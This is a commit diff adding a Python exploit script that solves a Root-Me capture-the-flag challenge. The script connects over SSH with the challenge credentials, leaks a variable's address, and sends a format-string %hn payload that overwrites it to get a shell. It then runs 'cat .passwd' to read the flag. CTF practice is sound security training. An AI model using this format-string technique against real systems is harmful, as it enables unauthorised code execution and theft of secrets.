feat: app system challenges

Signed-off-by: Tuan-Dat Tran <tuan-dat.tran@dextradata.com>

app-system/elf-x86-format-string-bug-basic-2/scripts/exploit.py

@@ -0,0 +1,85 @@
+#!/usr/bin/env python3
+import base64
+import re
+import shlex
+
+import paramiko
+
+
+HOST = "challenge02.root-me.org"
+PORT = 2222
+USER = "app-systeme-ch14"
+PASSWORD = "app-systeme-ch14"
+BIN = "/challenge/app-systeme/ch14/ch14"
+
+
+FMT_TAIL = b"%11$48871x%9$hn%12$8126x%10$hn"
+
+
+def p32_le(value: int) -> bytes:
+    value &= 0xFFFFFFFF
+    return bytes(
+        (
+            value & 0xFF,
+            (value >> 8) & 0xFF,
+            (value >> 16) & 0xFF,
+            (value >> 24) & 0xFF,
+        )
+    )
+
+
+def make_remote_cmd(payload: bytes) -> str:
+    b64 = base64.b64encode(payload).decode()
+    py = f"import os,base64;p=base64.b64decode('{b64}');os.execv('{BIN}',[b'ch14',p])"
+    return "python3 -c " + shlex.quote(py)
+
+
+def run_read_all(ssh: paramiko.SSHClient, payload: bytes, pty: bool = False) -> str:
+    cmd = make_remote_cmd(payload)
+    _, stdout, _ = ssh.exec_command(cmd, get_pty=pty)
+    return stdout.read().decode("latin-1", "ignore")
+
+
+def main() -> None:
+    ssh = paramiko.SSHClient()
+    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
+    ssh.connect(HOST, port=PORT, username=USER, password=PASSWORD, timeout=10)
+
+    try:
+        total_len = 8 + len(FMT_TAIL)
+        probe = b"A" * total_len
+
+        probe_out = run_read_all(ssh, probe, pty=True)
+        m = re.search(r"check at 0x([0-9a-fA-F]+)", probe_out)
+        if not m:
+            raise RuntimeError("could not parse check address from probe output")
+        check_addr = int(m.group(1), 16)
+        print(f"[+] check address: 0x{check_addr:08x}")
+
+        payload = p32_le(check_addr)
+        payload += p32_le(check_addr + 2)
+        payload += FMT_TAIL
+
+        if len(payload) != total_len:
+            raise RuntimeError("payload length changed; probe and exploit would desync")
+
+        cmd = make_remote_cmd(payload)
+        stdin, stdout, _ = ssh.exec_command(cmd, get_pty=True)
+        stdin.write("id\n")
+        stdin.write("cat .passwd\n")
+        stdin.write("exit\n")
+        stdin.flush()
+
+        out = stdout.read().decode("latin-1", "ignore")
+        print(out)
+
+        if "check=0xdeadbeef" in out:
+            print("[+] exploitation successful")
+        else:
+            print("[-] exploitation failed")
+    finally:
+        ssh.close()
+
+
+if __name__ == "__main__":
+    main()